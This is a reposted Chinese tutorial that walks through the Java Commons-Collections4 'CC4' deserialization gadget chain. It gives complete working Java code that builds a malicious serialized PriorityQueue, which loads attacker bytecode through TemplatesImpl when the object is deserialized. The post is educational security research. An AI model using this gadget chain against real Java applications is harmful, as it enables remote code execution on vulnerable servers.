Java安全--CC4

news2025/1/12 9:40:08

CC4

环境提一小嘴:

CC4利用的是commons-collections4,所以我们需要导入新的依赖,地址:https://mvnrepository.com/artifact/org.apache.commons/commons-collections4/4.0

我们先来关注一下利用链:

后半段是一样的,即利用动态加载链

InstantiateTransformer.transform
	TrAXFilter.TrAXFilter
  	        TemplatesImpl.newTransformer
    	                defineClass

前面半段则是利用到了这两个类:

TransformingComparator --> commons的类
PriorityQueue --> JDK自带的类

我们说一下是怎么拼接上的,从InstantiateTransformer.transform往上讲吧,因为我们找到TransformingComparator的compare调用了transform

并且呢TransformingComparator又调用了compare

从TransformingComparator一路走出来可以到达readObject,那么这一条链子也算是闭合了。我们看一下TransformingComparator的readObjecct是怎么调用compare的:

1.先是执行了heapify()

2.调用siftDown(i, (E) queue[i]);

3.执行siftDownUsingComparator(k, x);

4.调用了compare,最重要的是这里的comparator是我们可以控制的

如何控制comparator?很简单,就是直接传入构造函数就可以:

所以前半条链子:

PriorityQueue.readObject
	PriorityQueue.heapify
  	PriorityQueue.siftDown
    	PriorityQueue.siftDownUsingComparator
      	        TransformingComparator.compare
        	        InstantiateTransformer.transform

后面半条链子我们不动,从CC3拷贝过来,然后只要实例化两个类就可以了:(TransformingComparator和ChainedTransformer)

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException, TransformerConfigurationException {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();

        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);

        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Transformer[] transformers = {
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        serialize(priorityQueue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

运行之后发现无事发生,为什么?我们断点下在入口heapify,进入heapify

我们发现这个判断的时候就被阻隔了,size就是值队列内的数量,因为我们没有添加过任何元素所以这里默认就是0

如果想要绕过这个判断至少需要添加两个元素,因为这里是对size做>>>操作,即减少一位:

4的二进制是100 做>>>操作变成 10 即2

2的二进制是10 做>>>操作变成 1 即1

所以我们对priorityQueue添加两个元素,在序列化之前添加两行代码:

priorityQueue.add(1);
priorityQueue.add(2);

再重新运行:

发行执行成功,但是我们反序列化的时候又弹不出计算器了。。。

因为我们在序列化之前执行了priorityQueue.add(1);代码

我们一路跟进:add->offer->siftUp->siftUpUsingComparator发现它已经调用了compare了

而且最关键的是这里它还执行了break方法,所以下面的serialize是压根没有执行,所以连ser.bin的序列化文件都没有生成,怎么反序列化呢?

TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

我们在这一句修改一下,把chainedTransformer改成new ConstantTransformer("qingfeng"),即:

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer("qingfeng"));

接着在反序列化之前,add函数之后利用反射修改其值改回chainedTransformer,这样在反序列化的时候就可以执行了。

所以整个代码就是:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException, TransformerConfigurationException {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();

        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);

        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Transformer[] transformers = {
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };

//        instantiateTransformer.transform(TrAXFilter.class);
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer("qingfeng"));

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Class<? extends TransformingComparator> transformingComparatorClass = transformingComparator.getClass();
        Field transformerField = transformingComparatorClass.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator, chainedTransformer);

        serialize(priorityQueue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

CC4完结思考:

为什么我们CC3前面半条不能用这个链子,或者有CC3不就足够了,为什么要再找一个这样的链子,不是画蛇添足吗?

其实罪魁祸首就是 commons-collections4 commons-collections3 的区别了,更具体一点就是在类TransformingComparator这里。

我们先来看一下commons-collections3的TransformingComparator函数:

再看一下commons-collections4的TransformingComparator函数:

发现一个继承了serialize接口,另一个没有继承这个接口。因此造成了一个新的漏洞利用点,从而有了CC4.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/94517.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

本地运行好好的 Java 程序, 一发布到线上就报错的灵异事件终于让我碰到了

说明 本文涉及的相关软件版本如下&#xff1a; mybatis 3.4.xHotSpot JDK1.8Windows 11IDEA 2022.3 先看一段 mybatis 相关的代码 今天一个朋友丢给我如下一段代码&#xff1a; 然后跟我讲为什么本地是好好的&#xff0c; 发布到线上执行就报错。 BlogMapper.java public…

【python机器学习】K-Means算法详解及给坐标点聚类实战(附源码和数据集 超详细)

需要源码和数据集请点赞关注收藏后评论区留言私信~~~ 人们在面对大量未知事物时&#xff0c;往往会采取分而治之的策略&#xff0c;即先将事物按照相似性分成多个组&#xff0c;然后按组对事物进行处理。机器学习里的聚类就是用来完成对事物进行分组的任务 一、样本处理 聚类…

技术原理|Hologres Binlog技术原理揭秘

作者&#xff1a;张高迪&#xff08;花名杳天&#xff09;&#xff0c;Hologres研发。 同传统MySQL数据库&#xff0c;Hologres支持Hologres binlog&#xff0c;记录数据库中所有数据的变化事件日志。通过Hologres binlog&#xff0c;可以非常方便灵活的实现数据之间的复制、同…

“电池黑马”瑞浦兰钧增速惊人,动储双起飞

撰稿 | 多客 来源 | 贝多财经 12月14日&#xff0c;“电池黑马”瑞浦兰钧能源股份有限公司&#xff08;以下简称“瑞浦兰钧”&#xff09;向港交所主板提交上市申请&#xff0c;摩根士丹利和中信证券为其联席保荐人。至此&#xff0c;国内动力电池装机量排名前十的企业均已上…

DB Optimizer Multiplatform SQL评测和调优IDE

DB Optimizer Multiplatform SQL评测和调优IDE 增加了对最新版本Log4j的支持。 改进了分析会话功能&#xff0c;可提前提醒用户可能有问题的SQL。 DB Optimizer可以快速发现、诊断和优化性能较差的SQL。DBOptimizer使DBA和开发人员能够在整个开发生命周期中优化SQL性能&#xf…

合并多个有序数组

合并多个有序数组题目描述思想代码实现变形题目题目描述 我们现在有多个已经有序的数组&#xff0c;我们知道每个有序数组的元素个数和总共的有序数组的个数&#xff0c;现在请设计一个算法来实现这多个有序数组的合并&#xff08;合并成一个数组&#xff09;; 例如&#xff1a…

Chrome浏览器可以用ChatGPT了?

程序员宝藏库&#xff1a;https://gitee.com/sharetech_lee/CS-Books-Store 最近这段时间想必 和我一样&#xff0c;都被chatGPT刷屏了。 在看到网上给出的一系列chatGPT回答问题的例子和自己亲自体验之后&#xff0c;的确发现它效果非常令人惊艳。 chatGPT的火热程度在开源社…

turbo编码原理

一、原理 Turbo的编码器由两个并行的分量编码器组成。分量编码器的选择一般是卷积码。在Turbo码中&#xff0c;输入序列在进入第二个编码器时须经过一个交织器 &#xff0c;用于将序列打乱。两个编码器的输出共同作为冗余信息添加到信息序列之后&#xff0c;对抗信道引起的错误…

实战SupersetBI报表之数据集图表配置

上集已经安装完Superset -实战SupersetBI报表之安装 本集开始讲解 根据数据集配置图表&#xff1a;以简单的员工花名册 为例 1、首先配置数据库 上次安装的时候也提到过 如果服务之间都是docker 安装。必须保证能够通信 下面根据实际参数配置即可 当我们配置好数据库之后 就可以…

如何保证TCP传输的可靠性

重传机制&#xff0c;流量控制&#xff0c;拥塞控制 1.重传机制&#xff1a; 序列号确认应答 当发送端的数据到达接收主机的时候&#xff0c;接收端主机会返回一个确认应答消息&#xff0c;表示已经收到消息 当数据发生丢包时&#xff0c;用重传机制解决 重传机制有好几种…

【Anime.js】——用Anime.js实现动画效果

目录 目标&#xff1a; ​编辑1、确定思路 2、创建网格 3、设置随机位置 4、创建时间轴动画 完整代码&#xff1a; 目标&#xff1a; 实现自动选点&#xff0c;对该点进行先缩小后放大如何回到比其他点大一点的状态&#xff0c;并以该点从外向内放大 1、确定思路 2、创建网…

第12届嵌入式蓝桥杯真题-停车场管理系统的设计与实现

目录 实验要求&#xff1a; 实验思路&#xff1a; 核心代码&#xff1a; &#xff08;1&#xff09;主函数 &#xff08;2&#xff09;lcd显示 &#xff08;3&#xff09;按键函数 &#xff08;4&#xff09;LED显示函数 &#xff08;5&#xff09;业务处理函数 &…

深度理解取模

深度理解取模一.取模概念二.负数取模三.进一步的解释四.取模和取余是一样的吗&#xff1f;一.取模概念 二.负数取模 上面的代码一目了然就不再多少啦&#xff0c;但如果是负数取模又该怎么办呢&#xff1f; 以上a/b-3是很好理解的&#xff0c;那为什么取模后的值是-1呢&#xf…

useEffect 和 useLayoutEffect 的源码解读

文章目录useEffect 和 useLayoutEffect 的源码解读useEffect源码解读mountEffectImplpushEffectupdateEffectImpl疑惑&#xff1a;useLayOutEffect源码解读mountLayoutEffectupdateLayoutEffect总结useEffect 和 useLayoutEffect 的源码解读 useEffect 文件在 packages/react…

毕业设计-基于深度学习的交通标识识别-opencv

目录 前言 课题背景和意义 实现技术思路 实现效果图样例 前言 &#x1f4c5;大四是整个大学期间最忙碌的时光,一边要忙着备考或实习为毕业后面临的就业升学做准备,一边要为毕业设计耗费大量精力。近几年各个学校要求的毕设项目越来越难,有不少课题是研究生级别难度的,对本科…

叠氮-聚乙二醇-羧基,N3-PEG-COOH 异双功能PEG衍生物COOH-PEG-N3又名Azide-PEG-acid,可用于修饰蛋白质

英文名称&#xff1a;N3-PEG-COOH&#xff1b;COOH-PEG-N3 Azide-PEG-acid 中文名称&#xff1a;叠氮-聚乙二醇-羧基&#xff1b;羧基-聚乙二醇-叠氮 存储条件&#xff1a;-20C&#xff0c;避光干燥 用 途&#xff1a;仅用于科学研究&#xff0c;不能用于人体 外观: 固体或…

【OpenFeign】【源码+图解】【一】HelloWorld及其工作原理

目录1. HelloWorld1.1 pom.xml1.2 yml配置1.3 开启OpenFeign1.4 创建Product的FeignClient1.5 Controller2. OpenFeign的工作原理1. HelloWorld 服务中心以及Product微服务继续使用LoadBalance中的HelloWorld&#xff0c;新建一个client作为OpenFeign的例子 1.1 pom.xml 引入…

【视觉高级篇】26 # 如何绘制带宽度的曲线?

说明 【跟月影学可视化】学习笔记。 如何用 Canvas2D 绘制带宽度的曲线&#xff1f; Canvas2D 提供了相应的 API&#xff0c;能够绘制出不同宽度、具有特定连线方式&#xff08;lineJoin&#xff09;和线帽形状&#xff08;lineCap&#xff09;的曲线&#xff0c;绘制曲线非…

力扣(1053.115)补9.13

1053.不相交的线 不会&#xff0c;这题和1143题代码一样&#xff0c;只不过题意不太能懂&#xff0c;难想&#xff0c;难想。 115.不同的子序列 难想&#xff0c;这种题就跟该画dp图去理解&#xff0c;太难了。 跟着图去模拟一下&#xff0c;要不然真的答案都看不懂。 dp[i][j…

Servlet知识

1、什么是Servlet&#xff1f; Servlet&#xff08;Server Applet&#xff09;是Java Servlet的简称&#xff0c;称为小服务程序或服务连接器&#xff0c;用Java编写的服务器端程序&#xff0c;具有独立于平台和协议的特性&#xff0c;主要功能在于交互式地浏览和生成数据&…